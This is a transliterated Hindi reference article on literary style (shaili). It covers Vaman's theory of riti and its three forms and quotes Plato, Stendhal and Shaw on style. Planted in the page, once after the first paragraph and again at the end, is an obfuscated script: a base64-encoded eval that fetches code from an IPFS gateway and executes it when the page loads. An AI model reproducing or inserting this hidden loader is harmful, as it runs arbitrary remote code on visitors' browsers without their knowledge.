शैली

shaili hindi shabdakosh ka ek shabd hai, jo aangrezi ke 'stail' ka anuvad hai aur aangrezi sahity ke prabhav se hindi mean aya hai. prachin sahityashastr mean shaili se milate-julate arth ko dene vala ek shabd prayukt hua hai- 'riti'. 'kavyalankarasootr' ke lekhak achary vaman ne riti ko 'vishishtapad rachana' kahakar paribhashit kiya hai. is paribhasha mean 'vishisht' shabd ka arth hai, gun-yukt.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ritiyoan ke roop

achary vaman 'riti' ko 'kavy ki atma' manate haian. inake anusar ritiyoan ke tin roop haian-

1. vaidarbhi
2. gau diy
3. paanchali

vaidarbhi riti mean, vaman ke anusar, oj, prasad adi samast gun rahate haian. gau di riti ke pradhan gun oj aur kanti hai aur paanchali ke madhurata aur sukumarati. vaman ke mat mean vaidarbhi riti hi sarvatha grahy hai. doosare acharyoan ne ukt ritiyoan ke doosare prakar ke varnan diye haian. kuchh acharyoan ne yah bhi nirdesh karane ki koshish ki hai ki kis prakar ke varnoan adi ke prayog se vishesh riti astitv mean ati hai. ritiyoan ke ye vyakhyan yah sanket dete haian, mano ritittv ka pramukh adhar vishisht padayojana ho. yahaan ek bat aur lakshit karane ki hai-vaman adi ke mat mean riti achchhe lekhan ka hi dharm hai. isaka matalab yah hua ki ghatiya rachana mean riti ki upasthiti nahian hoti.

vidvan vichar

kya isi prakar yah mana jana chahie ki 'shaili' namak tattv achchhi rachanaoan mean hi upasthit rahata hai? kya kharab lekhakoan mean shaili ka abhav rahata hai? yadi yah mana jae ki shaili ek sprihaniy gun hai, to kahana hoga ki achchhe lekhak hi achchhe shailikar bhi hote haian. prasiddh yoonani vicharak 'aphalatoon' ya 'pleto' ka yahi mat hai- "jab vichar ko tattvik roopakar de diya jata hai to 'shaili' ka uday hota hai." prasiddh fraansisi upanyasakar standhal ne bhi shaili ko achchhi rachana ka gun manate hue usaka vivechan kiya hai. usake vichar mean "shaili ka astittv isamean nihit hai ki diye hue vichar ke sath un sab paristhitiyoan ko jo d diya jae, jo ki us vichar ke abhimat prabhav ko sampoornata mean utpann karane vali hai." isase milata-julata hi barnard sha ka yah vichar hai ki "prabhavapoorn abhivyakti hi shaili ka ath aur iti hai."

paribhasha

yahaan prashn uthata hai, yah kaise jan sakate haian ki koee rachana sampoorn abhisht prabhav ko utpann kar rahi hai ya nahian? is prashn par gambhirata se vichar karane par jan p data hai ki kisi rachana ki shaili ko us rachana se prithakh karake moolyaankan ka vishay nahian banaya ja sakata. hamari samajh mean, shaili ko ek gun manate hue, usaki paribhasha is prakar karani chahie-

"shaili anubhoot vishayavastu ko sajane ke un tariqoan ka nam hai, jo us vishayavastu ki abhivyakti ko sundar evan prabhavapoorn banate haian."

is drishti se dekhane par yah jan p dega ki 'shaili' n to keval anubhoot vishayavastu ka dharm hai aur n kahane ke tariqe ka hi. shaili ki atma mukhyat: ve sambandh hai, jinake dhaanche mean anubhoot vishayavastu ko samahit ya vyavasthit kiya jata hai. vishayavastu mean ukt sambandh ki sthapana ras ki utpatti ke lie ki jati hai.

mool tattv

kavy-sahity ki rasatmakata ko usake prabhav se alag nahian kiya ja sakata. jis vibhavatmak vishayavastu ko sahityakar sanjokar pathakoan ke samane rakhata hai, usamean prabhav ya ras ke utpadan ki kshamata nihit rahati hai. kintu yah kshamata sambaddh vishayavastu ka hi dharm hai. sahityakar anubhoot vishayavastu ko naye sambandhoan mean granthit karake usamean naye prabhav utpann karane ki kshamata sthapit kar deta hai. is prakar ki kshamata utpann karane ke upadan hi shaili ke mool tattv hote haian.

prayog

vibhinn rachanaean jin prabhavoan ko utpann karati haian, ve bhinn-bhinn kotiyoan ke hote haian, phalat: shailiyaan bhi bhinn hoti haian. ek prakar ki shaili hamare man par komal sneh athava najuk saundary ki chhap chho dati hai, to doosari udatt garima ki. kabhi-kabhi shailikar ka uddeshy keval chitr kh de karana hota hai, jinake anuchintan mean koee tikha ya gahara ragatmak alo dan n rahate hue bhi buddhi chamatkrit ho jati hai. aise kavy ke udaharan bihari ki 'satasee' tatha urdoo ke kavy mean bahut-se mil sakeange. kalidas jaise mahakavi ki rachanaoan mean anek shailiyaan bhi payi jati haian. 'raghuvansh' ke pratham sarg ki shaili ek hai aur 'raghu' ke digvijay ka varnan karane vale chauthe sarg ki doosari.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>